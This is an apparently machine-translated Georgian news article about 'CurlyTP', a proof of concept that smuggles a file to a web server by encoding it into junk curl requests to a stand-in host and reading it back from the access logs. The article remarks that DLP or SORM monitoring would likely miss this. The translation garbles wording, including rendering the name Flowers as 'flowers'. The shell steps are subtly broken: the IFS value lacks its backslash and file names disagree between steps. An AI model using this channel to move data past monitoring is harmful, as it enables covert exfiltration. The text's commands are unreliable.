ვიკიპედიის განმარტებით, მკვდარი წვეთი არის შეთქმულების ინსტრუმენტი, რომელიც ემსახურება ინფორმაციის ან ზოგიერთი ნივთის გაცვლას ადამიანებს შორის საიდუმლო მდებარეობის გამოყენებით. იდეა იმაში მდგომარეობს, რომ ადამიანები არასდროს ხვდებიან - მაგრამ ისინი მაინც ცვლიან ინფორმაციას ოპერაციული უსაფრთხოების შესანარჩუნებლად.

სამალავმა ყურადღება არ უნდა მიიპყრო. ამიტომ, ოფლაინ სამყაროში ისინი ხშირად იყენებენ ფრთხილ ნივთებს: ფხვიერი აგური კედელში, ბიბლიოთეკის წიგნი ან ხეზე ღრუ.

ინტერნეტში ბევრია დაშიფვრის და ანონიმიზაციის ხელსაწყოები, მაგრამ ამ ხელსაწყოების გამოყენების ფაქტი იპყრობს ყურადღებას. გარდა ამისა, ისინი შეიძლება დაიბლოკოს კორპორატიულ ან სამთავრობო დონეზე. Რა უნდა ვქნა?

დეველოპერმა რაიან ფლაუერსმა შემოგვთავაზა საინტერესო ვარიანტი - გამოიყენეთ ნებისმიერი ვებ სერვერი, როგორც დამალვა. თუ ფიქრობთ ამაზე, რას აკეთებს ვებ სერვერი? იღებს მოთხოვნებს, გამოსცემს ფაილებს და წერს ჟურნალებს. და ის იწერს ყველა მოთხოვნას, თუნდაც არასწორი!

გამოდის, რომ ნებისმიერი ვებ სერვერი საშუალებას გაძლევთ შეინახოთ თითქმის ნებისმიერი შეტყობინება ჟურნალში. ყვავილებს აინტერესებდათ როგორ გამოეყენებინათ ეს.

ის გთავაზობთ ამ ვარიანტს:

1. აიღეთ ტექსტური ფაილი (საიდუმლო შეტყობინება) და გამოთვალეთ ჰეში (md5sum).
2. ჩვენ ვაშიფრავთ მას (gzip+uuecode).
3. ჩვენ ვწერთ ჟურნალს სერვერზე განზრახ არასწორი მოთხოვნის გამოყენებით.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

ფაილის წასაკითხად, თქვენ უნდა შეასრულოთ ეს ოპერაციები საპირისპირო თანმიმდევრობით: გაშიფრეთ და გახსენით ფაილი, შეამოწმეთ ჰეში (ჰაშის უსაფრთხოდ გადაცემა შესაძლებელია ღია არხებით).

ფართები იცვლება =+=ისე, რომ მისამართში სივრცეები არ იყოს. პროგრამა, რომელსაც ავტორი უწოდებს CurlyTP, იყენებს base64 კოდირებას, როგორიცაა ელ.ფოსტის დანართები. მოთხოვნა შესრულებულია საკვანძო სიტყვით ?transfer?რათა მიმღებმა ადვილად იპოვოს იგი ჟურნალებში.

რას ვხედავთ ამ შემთხვევაში ჟურნალებში?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

როგორც უკვე აღვნიშნეთ, საიდუმლო შეტყობინების მისაღებად, თქვენ უნდა შეასრულოთ ოპერაციები საპირისპირო თანმიმდევრობით:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

პროცესის ავტომატიზაცია მარტივია. Md5sum ემთხვევა და ფაილის შინაარსი ადასტურებს, რომ ყველაფერი სწორად იყო გაშიფრული.

მეთოდი ძალიან მარტივია. „ამ სავარჯიშოს მიზანი მხოლოდ იმის მტკიცებაა, რომ ფაილების გადატანა შესაძლებელია უდანაშაულო პატარა ვებ მოთხოვნის საშუალებით და ის მუშაობს ნებისმიერ ვებ სერვერზე, უბრალო ტექსტის ჟურნალებით. არსებითად, ყველა ვებ სერვერი არის სამალავი!” – წერს Flowers.

რა თქმა უნდა, მეთოდი მუშაობს მხოლოდ იმ შემთხვევაში, თუ მიმღებს აქვს წვდომა სერვერის ჟურნალებზე. მაგრამ ასეთი წვდომა უზრუნველყოფილია, მაგალითად, მრავალი ჰოსტერის მიერ.

Როგორ გამოვიყენოთ ის?

რაიან ფლაუერსი ამბობს, რომ ის არ არის ინფორმაციული უსაფრთხოების ექსპერტი და არ შეადგენს CurlyTP-ის შესაძლო გამოყენების ჩამონათვალს. მისთვის ეს მხოლოდ კონცეფციის დადასტურებაა იმისა, რომ ნაცნობი ხელსაწყოები, რომლებსაც ყოველდღიურად ვხედავთ, შეიძლება არატრადიციულად იქნას გამოყენებული.

სინამდვილეში, ამ მეთოდს აქვს მრავალი უპირატესობა სხვა სერვერის „დამალვასთან“ შედარებით, როგორიცაა ციფრული მკვდარი წვეთი ან PirateBox: ის არ საჭიროებს სპეციალურ კონფიგურაციას სერვერის მხარეს ან რაიმე სპეციალურ პროტოკოლს - და არ გამოიწვევს ეჭვს მათში, ვინც აკონტროლებს ტრაფიკს. ნაკლებად სავარაუდოა, რომ SORM ან DLP სისტემა დაასკანირებს URL-ებს შეკუმშული ტექსტური ფაილებისთვის.

ეს არის სერვის ფაილების მეშვეობით შეტყობინებების გადაცემის ერთ-ერთი გზა. შეგიძლიათ გახსოვთ, როგორ ათავსებდნენ რამდენიმე მოწინავე კომპანია დეველოპერის სამუშაოები HTTP სათაურებში ან HTML გვერდების კოდში.

იდეა იყო, რომ მხოლოდ ვებ დეველოპერები ნახავდნენ ამ სააღდგომო კვერცხს, რადგან ნორმალური ადამიანი არ უყურებს სათაურებს ან HTML კოდს.

წყარო: www.habr.com